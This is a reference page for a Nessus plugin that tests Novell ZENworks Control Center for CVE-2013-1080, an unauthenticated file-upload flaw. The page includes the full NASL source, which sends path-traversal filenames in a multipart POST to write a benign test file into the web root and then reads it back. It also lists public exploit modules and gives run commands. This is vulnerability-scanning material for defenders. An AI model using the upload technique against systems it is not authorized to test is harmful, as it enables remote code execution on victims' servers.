Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check) - Nessus

Critical   Plugin ID: 66914

This page contains detailed information about the Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 66914
Name: Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)
Filename: novell_zenworks_control_center_rce_remote.nasl
Vulnerability Published: 2013-03-22
This Plugin Published: 2013-06-18
Last Modification Time: 2021-01-19
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: novell_zenworks_control_center_detect.nasl, os_fingerprint.nasl
Required KB Items [?]: www/zenworks_control_center

Vulnerability Information


Severity: Critical
Vulnerability Published: 2013-03-22
Patch Published: 2013-03-21
CVE [?]: CVE-2013-1080
CPE [?]: cpe:/a:novell:zenworks_configuration_management

Synopsis

The remote host is affected by a remote code execution vulnerability.

Description

The installed version of Novell ZENworks Control Center has a flaw with authentication checking on '/zenworks/jsp/index.jsp' that can allow a remote, unauthenticated attacker to upload arbitrary files and execute them with SYSTEM privileges. Nessus has exploited this vulnerability to upload a file to the '/zenworks/css' directory.

Solution

Upgrade to ZENworks 11.2.2 and apply the interim fix, or apply 11.2.3a Monthly Update 1 for 11.2.3 installs.

Public Exploits


Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check) vulnerability:

  1. Metasploit: exploit/multi/http/zenworks_control_center_upload
    [Novell ZENworks Configuration Management Remote Execution]
  2. Metasploit: exploit/windows/http/zenworks_uploadservlet
    [Novell ZENworks Configuration Management Remote Execution]
  3. Exploit-DB: exploits/multiple/remote/24938.rb
    [EDB-24938: Novell ZENworks Configuration Management 10 SP3/11 SP2 - Remote Execution (Metasploit)]
  4. D2 Elliot: novell_zenworks_configuration_management_11_sp2_file_upload.html
    [Novell ZENworks Configuration Management 11 SP2 File Upload]
  5. Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)

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Plugin Source


This is the novell_zenworks_control_center_rce_remote.nasl nessus plugin source code. This script is Copyright (C) 2013-2021 Tenable Network Security, Inc.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(66914);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-1080");
  script_bugtraq_id(58668);

  script_name(english:"Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check)");
  script_summary(english:"Tries to upload file");

  script_set_attribute(attribute:"synopsis", value:"The remote host is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The installed version of Novell ZENworks Control Center has a flaw with
authentication checking on '/zenworks/jsp/index.jsp' that can allow a
remote, unauthenticated attacker to upload arbitrary files and execute
them with SYSTEM privileges.  Nessus has exploited this vulnerability to
upload a file to the '/zenworks/css' directory."
  );
  script_set_attribute(attribute:"see_also", value:"https://support.microfocus.com/kb/doc.php?id=7011812");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-13-049/");
  script_set_attribute(attribute:"solution", value:
"Upgrade to ZENworks 11.2.2 and apply the interim fix, or apply 11.2.3a
Monthly Update 1 for 11.2.3 installs.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Novell ZENworks Configuration Management 11 SP2 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Novell ZENworks Configuration Management Remote Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/03/22");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/03/21");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/06/18");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:novell:zenworks_configuration_management");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 Tenable Network Security, Inc.");

  script_dependencies("os_fingerprint.nasl", "novell_zenworks_control_center_detect.nasl");
  script_require_ports("Services/www", 443);
  script_require_keys("www/zenworks_control_center");
  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

port = get_http_port(default:443);

install = get_install_from_kb(
  appname      : "zenworks_control_center",
  port         : port,
  exit_on_fail : TRUE
);

boundary = '----------Nessus';

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) traversals = make_list('..\\webapps\\zenworks\\css\\');
  else traversals = make_list('..\\..\\opt\\novell\\zenworks\\share\\tomcat\\webapps\\css\\',
                              '../../opt/novell/zenworks/share/tomcat/webapps/css/');
}
else
{
  traversals = make_list('..\\webapps\\zenworks\\css\\',
                         '..\\..\\opt\\novell\\zenworks\\share\\tomcat\\webapps\\css\\',
                         '../../opt/novell/zenworks/share/tomcat/webapps/css/');
}

fname = rand_str(length:8) + '_nessus.txt';
msg = 'file created by nessus : ' + SCRIPT_NAME;

vuln = FALSE;
foreach traversal (traversals)
{
  postdata =
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="mainPage:_ctrl21a:FindFile:filePathTextBox"; '+
    'filename="' + traversal + fname + '"' + '\r\n' +
    'Content-Type: text/plain\r\n' +
    '\r\n' +
    msg +
    '\r\n' +
    '--' + boundary + '--' + '\r\n';

  host = NULL;
  hn = get_kb_item('www/'+port+'/http11_hostname');
  if (! isnull(hn))
    host = hn;
  else
  {
    host = get_preference('sc.hostname.' + get_host_ip());
    if (strlen(host) == 0) host = get_host_name();
  }

  if( isnull(host)) exit(1, 'Error getting host name.');

  rq = make_array();
  rq['$data'] = postdata;
  rq['$method'] = 'POST';

  rq['$uri'] = '/zenworks/jsp/index.jsp?pageid=newDocumentWizard';
  rq['$port'] = port;
  rq['$request'] = 'POST /zenworks/jsp/index.jsp?pageid=newDocumentWizard HTTP/1.1';

  rq['Content-Length'] = strlen(postdata);
  rq['Host'] = host;
  rq['Content-Type'] = 'multipart/form-data; boundary=' + boundary;

  # nb: the server requires the data to be sent in this exact manner,
  # or the exploit won't work.  I couldn't get this to work using
  # http_send_recv3() because it calls http_mk_req() which adds extra
  # headers that cause the exploit to fail
  w = http_send_recv_req(port: port, req: rq,
                         exit_on_fail: TRUE);

  if ("302" >!< w[0]) continue;

  exploit_req = http_last_sent_request();

  res = http_send_recv3(method:"GET",
                        item:"/zenworks/css/" + fname,
                        port:port,
                        exit_on_fail:TRUE);
  if (res[2] == msg)
  {
    vuln = TRUE;
    break;
  }
}

if (vuln)
{
  if(report_verbosity > 0)
  {
    report =
    '\n  Nessus was able to upload a file to the server with the following' +
    '\n  request :\n\n' +
    crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) + '\n' +
    chomp(exploit_req) + '\n' +
    crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30) + '\n\n' +
    '\n  It can be accessed here: ' + build_url(port:port, qs:'/zenworks/css/' + fname) + '\n';
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else
  audit(AUDIT_WEB_APP_NOT_AFFECTED, "Novell ZENworks Control Center", build_url(port:port, qs:'/'));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/novell_zenworks_control_center_rce_remote.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\novell_zenworks_control_center_rce_remote.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/novell_zenworks_control_center_rce_remote.nasl

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How to Run


Here is how to run the Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Novell ZENworks Control Center File Upload Remote Code Execution (intrusive check) plugin ID 66914.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl novell_zenworks_control_center_rce_remote.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a novell_zenworks_control_center_rce_remote.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - novell_zenworks_control_center_rce_remote.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state novell_zenworks_control_center_rce_remote.nasl -t <IP/HOST>

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References


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Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file novell_zenworks_control_center_rce_remote.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

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